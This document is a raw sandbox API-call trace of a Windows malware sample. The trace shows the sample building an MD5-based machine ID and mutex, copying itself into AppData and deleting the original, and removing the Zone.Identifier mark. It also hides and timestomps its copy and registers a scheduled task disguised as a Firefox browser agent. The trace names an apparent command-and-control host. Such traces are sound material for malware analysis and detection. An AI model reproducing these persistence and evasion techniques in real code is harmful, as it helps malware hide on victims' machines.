Sleep (dwMilliseconds=0xa) [0126.978] Sleep (dwMilliseconds=0xa) [0127.000] Sleep (dwMilliseconds=0xa) [0127.013] Sleep (dwMilliseconds=0xa) [0127.023] Sleep (dwMilliseconds=0xa) [0127.035] GetSystemDirectoryA (in: lpBuffer=0xfd4fde0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0127.035] lstrcatW (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\31646747fe74d32212a7cbcb97c7d78d.virus.exe" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\31646747fe74d32212a7cbcb97c7d78d.virus.exe") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\31646747fe74d32212a7cbcb97c7d78d.virus.exe" [0127.035] RtlGetVersion (in: lpVersionInformation=0x2290457 | out: lpVersionInformation=0x2290457*(dwOSVersionInfoSize=0x0, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 0x0 [0127.036] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0xfd4fdc8 | out: TokenHandle=0xfd4fdc8*=0x1c34) returned 1 [0127.036] GetTokenInformation (in: TokenHandle=0x1c34, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xfd4fdc0 | out: TokenInformation=0x0, ReturnLength=0xfd4fdc0) returned 0 [0127.036] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x25) returned 0x470830 [0127.036] GetTokenInformation (in: TokenHandle=0x1c34, TokenInformationClass=0x19, TokenInformation=0x470830, TokenInformationLength=0x1c, ReturnLength=0xfd4fdc0 | out: TokenInformation=0x470830, ReturnLength=0xfd4fdc0) returned 1 [0127.036] GetSidSubAuthorityCount (pSid=0x470840*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x470841 [0127.036] GetSidSubAuthority (pSid=0x470840*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x470848 [0127.037] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x470830) returned 0x25 [0127.037] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x470830) returned 1 [0127.038] CloseHandle (hObject=0x1c34) returned 1 [0127.038] GetComputerNameA (in: lpBuffer=0xfd4fe90, nSize=0xfd4fed0 | out: lpBuffer="XC64ZB", nSize=0xfd4fed0) returned 1 [0127.038] GetVolumeInformationA (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0xfd4fec0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xfd4fec0*=0xc287f38, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0127.038] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x29) returned 0x470830 [0127.038] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x14) returned 0x470870 [0127.038] wsprintfA (in: param_1=0x470830, param_2="%s%08X%08X" | out: param_1="XC64ZB99FC78690C287F38") returned 22 [0127.270] CryptAcquireContextA (in: phProv=0xfd4fe18, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0xfd4fe18*=0x9923610) returned 1 [0127.284] CryptCreateHash (in: hProv=0x9923610, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xfd4fe10 | out: phHash=0xfd4fe10) returned 1 [0127.284] lstrlenA (lpString="XC64ZB99FC78690C287F38") returned 22 [0127.284] CryptHashData (hHash=0x8491380, pbData=0x470830, dwDataLen=0x16, dwFlags=0x0) returned 1 [0127.284] CryptGetHashParam (in: hHash=0x8491380, dwParam=0x2, pbData=0xfd4fe20, pdwDataLen=0xfd4fe50, dwFlags=0x0 | out: pbData=0xfd4fe20, pdwDataLen=0xfd4fe50) returned 1 [0127.284] wsprintfA (in: param_1=0x229020c, param_2="%02X" | out: param_1="FE") returned 2 [0127.284] wsprintfA (in: param_1=0x229020e, param_2="%02X" | out: param_1="7F") returned 2 [0127.284] wsprintfA (in: param_1=0x2290210, param_2="%02X" | out: param_1="15") returned 2 [0127.284] wsprintfA (in: param_1=0x2290212, param_2="%02X" | out: param_1="06") returned 2 [0127.284] wsprintfA (in: param_1=0x2290214, param_2="%02X" | out: param_1="0B") returned 2 [0127.285] wsprintfA (in: param_1=0x2290216, param_2="%02X" | out: param_1="87") returned 2 [0127.285] wsprintfA (in: param_1=0x2290218, param_2="%02X" | out: param_1="5F") returned 2 [0127.285] wsprintfA (in: param_1=0x229021a, param_2="%02X" | out: param_1="B9") returned 2 [0127.285] wsprintfA (in: param_1=0x229021c, param_2="%02X" | out: param_1="FB") returned 2 [0127.285] wsprintfA (in: param_1=0x229021e, param_2="%02X" | out: param_1="2A") returned 2 [0127.285] wsprintfA (in: param_1=0x2290220, param_2="%02X" | out: param_1="49") returned 2 [0127.285] wsprintfA (in: param_1=0x2290222, param_2="%02X" | out: param_1="F0") returned 2 [0127.285] wsprintfA (in: param_1=0x2290224, param_2="%02X" | out: param_1="8D") returned 2 [0127.285] wsprintfA (in: param_1=0x2290226, param_2="%02X" | out: param_1="5D") returned 2 [0127.285] wsprintfA (in: param_1=0x2290228, param_2="%02X" | out: param_1="03") returned 2 [0127.285] wsprintfA (in: param_1=0x229022a, param_2="%02X" | out: param_1="12") returned 2 [0127.285] CryptDestroyHash (hHash=0x8491380) returned 1 [0127.285] CryptReleaseContext (hProv=0x9923610, dwFlags=0x0) returned 1 [0127.285] wsprintfA (in: param_1=0x229022c, param_2="%08X" | out: param_1="0C287F38") returned 8 [0127.285] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x470870) returned 0x14 [0127.285] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x470870) returned 1 [0127.285] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x470830) returned 0x29 [0127.286] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x470830) returned 1 [0127.286] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0xe) returned 0x470830 [0127.286] wsprintfA (in: param_1=0x2290dbe, param_2="%sFF" | out: param_1="FE7F15060B875FB9FB2A49F08D5D03120C287F38FF") returned 42 [0127.286] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x470830) returned 0xe [0127.286] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x470830) returned 1 [0127.286] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="FE7F15060B875FB9FB2A49F08D5D03120C287F38") returned 0x1c34 [0127.286] RtlGetLastWin32Error () returned 0x0 [0127.286] GetTickCount () returned 0x11db2ea [0127.286] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x1008) returned 0x470830 [0127.286] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x2e) returned 0x471840 [0127.286] RegOpenKeyExA (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0xfd4fed8 | out: phkResult=0xfd4fed8*=0x1994) returned 0x0 [0127.286] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x14) returned 0x471880 [0127.286] RegQueryValueExA (in: hKey=0x1994, lpValueName="svcVersion", lpReserved=0x0, lpType=0x0, lpData=0xfd4fe60, lpcbData=0xfd4fec0*=0x20 | out: lpType=0x0, lpData=0xfd4fe60*=0x31, lpcbData=0xfd4fec0*=0xd) returned 0x0 [0127.287] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x471880) returned 0x14 [0127.287] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471880) returned 1 [0127.287] lstrlenA (lpString="11.0.10586.0") returned 12 [0127.287] lstrlenA (lpString=".") returned 1 [0127.287] atoi (_Str="11") returned 11 [0127.287] RegCloseKey (hKey=0x1994) returned 0x0 [0127.287] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x471840) returned 0x2e [0127.287] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471840) returned 1 [0127.288] ObtainUserAgentString (in: dwOption=0xb, pszUAOut=0x470830, cbSize=0xfd4fec0 | out: pszUAOut="Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko", cbSize=0xfd4fec0) returned 0x0 [0127.319] lstrlenA (lpString="Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko") returned 74 [0127.319] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x470830, cbMultiByte=75, lpWideCharStr=0x2290577, cchWideChar=150 | out: lpWideCharStr="Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko") returned 75 [0127.319] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x470830) returned 0x1008 [0127.320] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x470830) returned 1 [0127.320] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x1008) returned 0x470830 [0127.320] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x1c) returned 0x471840 [0127.320] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%", lpDst=0x470830, nSize=0x105 | out: lpDst="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x26 [0127.320] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x471840) returned 0x1c [0127.320] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471840) returned 1 [0127.320] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x16) returned 0x471840 [0127.320] wsprintfW (in: param_1=0x22907a6, param_2="%s\\%hs" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih") returned 45 [0127.321] wsprintfW (in: param_1=0x2290bb6, param_2="%s\\%hs" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\wvhwbfa") returned 45 [0127.321] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x471840) returned 0x16 [0127.321] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471840) returned 1 [0127.321] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x26) returned 0x471840 [0127.321] lstrlenA (lpString="http://file-coin-host-12.com/") returned 29 [0127.321] RtlComputeCrc32 (PartialCrc=0x0, Buffer=0x471840, Length=0x1d) returned 0x57488b3e [0127.321] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x471840) returned 0x26 [0127.321] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471840) returned 1 [0127.321] lstrcmpW (lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\31646747fe74d32212a7cbcb97c7d78d.virus.exe", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih") returned 1 [0127.321] DeleteFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\bcatcih")) returned 0 [0127.322] CopyFileW (lpExistingFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\31646747fe74d32212a7cbcb97c7d78d.virus.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\31646747fe74d32212a7cbcb97c7d78d.virus.exe"), lpNewFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\bcatcih"), bFailIfExists=0) returned 1 [0128.027] DeleteFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\31646747fe74d32212a7cbcb97c7d78d.virus.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\31646747fe74d32212a7cbcb97c7d78d.virus.exe")) returned 1 [0128.033] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x12) returned 0x471840 [0128.033] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x2a) returned 0x471860 [0128.033] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x408) returned 0x4718a0 [0128.033] wsprintfW (in: param_1=0x4718a0, param_2="%s%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih:Zone.Identifier") returned 61 [0128.033] DeleteFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih:Zone.Identifier" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\bcatcih:zone.identifier")) returned 0 [0128.033] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x4718a0) returned 0x408 [0128.034] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x4718a0) returned 1 [0128.034] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x471840) returned 0x12 [0128.034] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471840) returned 1 [0128.034] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x471860) returned 0x2a [0128.034] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471860) returned 1 [0128.034] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x16) returned 0x471840 [0128.035] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x210) returned 0x471860 [0128.035] GetSystemDirectoryA (in: lpBuffer=0x471860, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0128.035] lstrcatA (in: lpString1="C:\\Windows\\system32", lpString2="\\" | out: lpString1="C:\\Windows\\system32\\") returned="C:\\Windows\\system32\\" [0128.035] lstrcatA (in: lpString1="C:\\Windows\\system32\\", lpString2="advapi32.dll" | out: lpString1="C:\\Windows\\system32\\advapi32.dll") returned="C:\\Windows\\system32\\advapi32.dll" [0128.035] SetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih", dwFileAttributes=0x6) returned 1 [0128.035] CreateFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\bcatcih"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x1bcc [0128.035] GetFileAttributesExA (in: lpFileName="C:\\Windows\\system32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll"), fInfoLevelId=0x0, lpFileInformation=0xfd4fe30 | out: lpFileInformation=0xfd4fe30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a16bf4b, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x1a16bf4b, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x1a16bf4b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xa3ef0)) returned 1 [0128.036] SetFileTime (hFile=0x1bcc, lpCreationTime=0xfd4fe34, lpLastAccessTime=0xfd4fe3c, lpLastWriteTime=0xfd4fe44) returned 1 [0128.036] CloseHandle (hObject=0x1bcc) returned 1 [0128.036] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x471860) returned 0x210 [0128.036] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471860) returned 1 [0128.036] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x471840) returned 0x16 [0128.036] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471840) returned 1 [0128.036] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x418) returned 0x471840 [0128.036] lstrcatW (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih" [0128.036] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x212) returned 0x471c60 [0128.037] GetUserNameW (in: lpBuffer=0x471c60, pcbBuffer=0xfd4fe70 | out: lpBuffer="RDhJ0CNFevzX", pcbBuffer=0xfd4fe70) returned 1 [0128.040] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x10d) returned 0x471e80 [0128.040] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x4c) returned 0x471fa0 [0128.041] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x10d) returned 0x472000 [0128.041] wsprintfW (in: param_1=0x471e80, param_2="Firefox Default Browser Agent %hs" | out: param_1="Firefox Default Browser Agent FE7F15060B875FB9") returned 46 [0128.041] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x472000) returned 0x10d [0128.042] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x472000) returned 1 [0128.042] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x471fa0) returned 0x4c [0128.043] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471fa0) returned 1 [0128.043] CoCreateInstance (in: rclsid=0x401010*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x401000*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0xfd4fd08 | out: ppv=0xfd4fd08*=0x74db70) returned 0x0 [0128.426] TaskScheduler:ITaskService:Connect (This=0x74db70, serverName=0xfd4fd80*(varType=0x0, wReserved1=0x47, wReserved2=0x0, wReserved3=0x0, varVal1=0x405257, varVal2=0x22907a6), user=0xfd4fda0*(varType=0x0, wReserved1=0x47, wReserved2=0x0, wReserved3=0x0, varVal1=0x405257, varVal2=0x22907a6), domain=0xfd4fd60*(varType=0x0, wReserved1=0x47, wReserved2=0x0, wReserved3=0x0, varVal1=0x405257, varVal2=0x22907a6), password=0xfd4fde0*(varType=0x0, wReserved1=0x47, wReserved2=0x0, wReserved3=0x0, varVal1=0x405257, varVal2=0x22907a6)) returned 0x0 [0128.450] TaskScheduler:ITaskService:GetFolder (in: This=0x74db70, Path="", ppFolder=0xfd4fd28 | out: ppFolder=0xfd4fd28*=0x3d4d220) returned 0x0 [0128.452] ITaskFolder:DeleteTask (This=0x3d4d220, Name="Firefox Default Browser Agent FE7F15060B875FB9", flags=0) returned 0x80070002 [0128.454] TaskScheduler:ITaskService:NewTask (in: This=0x74db70, flags=0x0, ppDefinition=0xfd4fe40 | out: ppDefinition=0xfd4fe40*=0x3d03340) returned 0x0 [0128.456] ITaskDefinition:get_RegistrationInfo (in: This=0x3d03340, ppRegistrationInfo=0xfd4fd40 | out: ppRegistrationInfo=0xfd4fd40*=0x3ced660) returned 0x0 [0128.456] IRegistrationInfo:put_Author (This=0x3ced660, Author="RDhJ0CNFevzX") returned 0x0 [0128.456] IUnknown:Release (This=0x3ced660) returned 0x1 [0128.456] ITaskDefinition:get_Settings (in: This=0x3d03340, ppSettings=0xfd4fd18 | out: ppSettings=0xfd4fd18*=0x3ced1e0) returned 0x0 [0128.457] ITaskSettings:put_StartWhenAvailable (This=0x3ced1e0, StartWhenAvailable=1) returned 0x0 [0128.457] IUnknown:Release (This=0x3ced1e0) returned 0x3 [0128.457] ITaskDefinition:get_Triggers (in: This=0x3d03340, ppTriggers=0xfd4fd20 | out: ppTriggers=0xfd4fd20*=0x3ce5660) returned 0x0 [0128.457] ITriggerCollection:Create (in: This=0x3ce5660, Type=1, ppTrigger=0xfd4fe30 | out: ppTrigger=0xfd4fe30*=0x3d034f0) returned 0x0 [0128.457] IUnknown:QueryInterface (in: This=0x3d034f0, riid=0x401030*(Data1=0xb45747e0, Data2=0xeba7, Data3=0x4276, Data4=([0]=0x9f, [1]=0x29, [2]=0x85, [3]=0xc5, [4]=0xbb, [5]=0x30, [6]=0x0, [7]=0x6)), ppvObject=0xfd4fd10 | out: ppvObject=0xfd4fd10*=0x3d034f0) returned 0x0 [0128.457] ITrigger:get_Repetition (in: This=0x3d034f0, ppRepeat=0xfd4fd00 | out: ppRepeat=0xfd4fd00*=0x3d57960) returned 0x0 [0128.457] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x14) returned 0x471fa0 [0128.457] IRepetitionPattern:put_Interval (This=0x3d57960, Interval="PT10M") returned 0x0 [0128.458] ITrigger:put_Repetition (This=0x3d034f0, Repetition=0x3d57960) returned 0x0 [0128.458] IUnknown:Release (This=0x3d57960) returned 0x1 [0128.458] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x30) returned 0x471fc0 [0128.458] ITrigger:put_StartBoundary (This=0x3d034f0, StartBoundary="1999-11-30T00:00:00") returned 0x0 [0128.458] IUnknown:Release (This=0x3d034f0) returned 0x2 [0128.458] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x471fc0) returned 0x30 [0128.459] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471fc0) returned 1 [0128.459] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x471fa0) returned 0x14 [0128.459] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471fa0) returned 1 [0128.459] IUnknown:Release (This=0x3d034f0) returned 0x1 [0128.459] ITriggerCollection:Create (in: This=0x3ce5660, Type=9, ppTrigger=0xfd4fe30 | out: ppTrigger=0xfd4fe30*=0x3cfc6e0) returned 0x0 [0128.460] IUnknown:QueryInterface (in: This=0x3cfc6e0, riid=0x401020*(Data1=0x72dade38, Data2=0xfae4, Data3=0x4b3e, Data4=([0]=0xba, [1]=0xf4, [2]=0x5d, [3]=0x0, [4]=0x9a, [5]=0xf0, [6]=0x2b, [7]=0x1c)), ppvObject=0xfd4fd00 | out: ppvObject=0xfd4fd00*=0x3cfc6e0) returned 0x0 [0128.460] ILogonTrigger:put_UserId (This=0x3cfc6e0, UserId="RDhJ0CNFevzX") returned 0x0 [0128.579] IUnknown:Release (This=0x3cfc6e0) returned 0x2 [0128.579] IUnknown:Release (This=0x3cfc6e0) returned 0x1 [0128.579] ITaskDefinition:get_Actions (in: This=0x3d03340, ppActions=0xfd4fd30 | out: ppActions=0xfd4fd30*=0x3d4d2a0) returned 0x0 [0128.580] IActionCollection:Create (in: This=0x3d4d2a0, Type=0, ppAction=0xfd4fd48 | out: ppAction=0xfd4fd48*=0x3ce5820) returned 0x0 [0128.580] IUnknown:Release (This=0x3d4d2a0) returned 0x1 [0128.580] IUnknown:QueryInterface (in: This=0x3ce5820, riid=0x401040*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0xfd4fd38 | out: ppvObject=0xfd4fd38*=0x3ce5820) returned 0x0 [0128.580] IExecAction:put_Path (This=0x3ce5820, Path="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih") returned 0x0 [0128.580] IUnknown:Release (This=0x3ce5820) returned 0x2 [0128.580] ITaskFolder:RegisterTaskDefinition (in: This=0x3d4d220, Path="Firefox Default Browser Agent FE7F15060B875FB9", pDefinition=0x3d03340, flags=6, UserId=0xfd4fd60*(varType=0x0, wReserved1=0x47, wReserved2=0x0, wReserved3=0x0, varVal1=0x405257, varVal2=0x22907a6), password=0xfd4fda0*(varType=0x0, wReserved1=0x47, wReserved2=0x0, wReserved3=0x0, varVal1=0x405257, varVal2=0x22907a6), LogonType=3, sddl=0xfd4fd80*(varType=0x0, wReserved1=0x47, wReserved2=0x0, wReserved3=0x0, varVal1=0x405257, varVal2=0x22907a6), ppTask=0xfd4fd00 | out: ppTask=0xfd4fd00*=0x3ced360) returned 0x0 [0130.221] IUnknown:Release (This=0x3ce5820) returned 0x1 [0130.221] IUnknown:Release (This=0x3ce5660) returned 0x1 [0130.221] TaskScheduler:IUnknown:Release (This=0x3d03340) returned 0x0 [0130.221] TaskScheduler:IUnknown:Release (This=0x3d4d220) returned 0x0 [0130.221] TaskScheduler:IUnknown:Release (This=0x74db70) returned 0x0 [0130.221] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x471e80) returned 0x10d [0130.222] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471e80) returned 1 [0130.222] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x471840) returned 0x418 [0130.222] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471840) returned 1 [0130.222] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x471c60) returned 0x212 [0130.222] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471c60) returned 1 [0130.223] CreateFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\bcatcih"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c8 [0130.223] CreateFileMappingA (hFile=0x0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xfa000, lpName="FE7F15060B875FB9FB2A49F08D5D03120C287F38FF") returned 0x19ac [0130.223] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x26) returned 0x471840 [0130.224] CreateFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\wvhwbfa" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\wvhwbfa"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff [0130.224] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xf5e258af [0130.224] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x117) returned 0x471870 [0130.224] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x1f76d419 [0130.224] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x40fe1957 [0130.224] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xe799f814 [0130.224] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xec90bfcd [0130.224] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xc45902b2 [0130.224] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xa9c4ff69 [0130.224] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xb2262d53 [0130.224] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x8038ccdf [0130.224] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x8a07afae [0130.224] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x3fd9542d [0130.224] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x475f4f73 [0130.224] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x9f371fff [0130.224] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x6f8b2462 [0130.224] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x2633aadc [0130.224] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xe385308 [0130.224] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x282db668 [0130.224] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x96d6e1d1 [0130.224] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xb2609a09 [0130.224] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xba38cc33 [0130.224] 